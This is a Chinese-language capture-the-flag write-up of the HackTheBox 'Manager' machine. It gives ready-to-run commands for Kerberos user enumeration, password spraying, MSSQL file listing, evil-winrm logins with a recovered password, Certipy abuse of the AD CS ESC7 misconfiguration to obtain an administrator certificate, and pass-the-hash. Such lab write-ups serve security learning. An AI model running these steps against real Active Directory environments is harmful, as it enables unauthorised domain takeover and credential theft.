[渗透测试学习] Manager - HackTheBox

发布时间:2023年12月25日

文章目录


信息搜集
nmap扫描一下端口

nmap -sV -sC -p- -v --min-rate 1000 10.10.11.236

在这里插入图片描述扫出来很多端口,其中80端口有http服务,88端口是采用一个身份验证协议kerberos,以及NetBIOS-SSN(端口139)和Microsoft-DS(端口445)都与SMB有关

1433端口有msssql服务,存在域名manager.htb
我们可以把该域名添加到/etc/hosts
在这里插入图片描述

尝试访问一下80端口没啥收获
在这里插入图片描述

再来看看88端口,利用工具kerbrute以及seclist字典
看一下使用参数

./kerbrute_linux_amd64 -h

在这里插入图片描述
字典使用下图最后一个无重复用户名的
在这里插入图片描述
使用-d参数指定域名和–dc参数指定url

./kerbrute_linux_amd64 userenum -d manager.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.11.236

在这里插入图片描述扫出来用户名,再试试工具crackmapexec去密码喷洒(我们知道有端口使用smb协议)
user.txt(注意是小写)

ryan
cheng
raven
operator
jinwoo
zhong
chinhaw

发现用户“operator”可以访问SMB(工具会报错奇奇怪怪…)
然后连接mssql数据库

impacket-mssqlclient manager.htb/operator:operator@10.10.11.236 -windows-auth

当前用户为guests
在这里插入图片描述
我们用拓展xp_dirtree去列出文件

exec xp_dirtree 'C:\inetpub\wwwroot', 1, 1;

注:inetpub通常用于存放 Internet Information Services (IIS) 的网站文件和相关内容。IIS是一种用于托管和管理网站的Web服务器软件。

在这里插入图片描述
发现有zip文件,我们在本地wget下载下来

wget 10.10.11.236/website-backup-27-07-23-old.zip

访问一下,在.old-conf.xml文件找到和raven相关的信息
在这里插入图片描述既然我们得到密码,那么我们直接用evil-winrm去进行远程登录

evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'

得到user的flag
在这里插入图片描述
我们上传一个Certify.exe,查找/vulnerable(易受攻击)的内容或文件

Certify.exe是一个可执行文件,它是Certify SSL/TLS(Transport Layer Security)证书管理工具的一部分

在这里插入图片描述

在这里注意到用户 raven 已允许管理 CA(证书)。它表明必须正在运行 ADCS(Active Directory 证书服务)并且它容易受到 ESC7 漏洞的影响。(参考文章
按照参考文章的步骤

如果您只有“管理 CA”访问权限,则可以通过将您的用户添加为新官员来授予自己“管理证书”访问权限。

sudo certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'

可以使用 -enable-template 参数在 CA 上启用 SubCA 模板。默认情况下,SubCA 模板处于启用状态。

sudo certipy-ad ca -ca 'manager-DC01-CA' -enable-template SubCA -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'

Attack
如果我们已经满足了此攻击的先决条件,我们可以首先请求基于 SubCA 模板的证书。 该请求将被拒绝,但我们将保存私钥并记下请求 ID。

sudo certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn administrator@manager.htb

在这里插入图片描述

通过管理 CA 和管理证书,我们可以使用 ca 命令和 -issue-request <request ID> 参数发出失败的证书请求。

sudo certipy-ad ca -ca "manager-DC01-CA" -issue-request 19 -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123'

在这里插入图片描述

最后,我们可以使用 req 命令和 -retrieve <request ID> 参数检索颁发的证书。

sudo certipy-ad req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca "manager-DC01-CA" -target manager.htb -retrieve 19

注意:服务器会在一分钟内自动重置其设置,因此准备好所有命令以便快速执行非常重要。您可以准备一个脚本或一组命令,并根据需要快速复制和粘贴。

然后就是成功验证管理员身份了

sudo certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.236 -username administrator -domain 'manager.htb'

但是会出现报错,重要的是通过与Kerberos同步时间来解决这些错误。这可以通过执行以下命令来完成

sudo ntpdate -u manager.htb

然后得到hash值,再用evil-winrm登录即可得到root的flag

evil-winrm -i 10.10.11.236 -u administrator -H ae*******************
文章来源:https://blog.csdn.net/m0_73512445/article/details/135178659
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。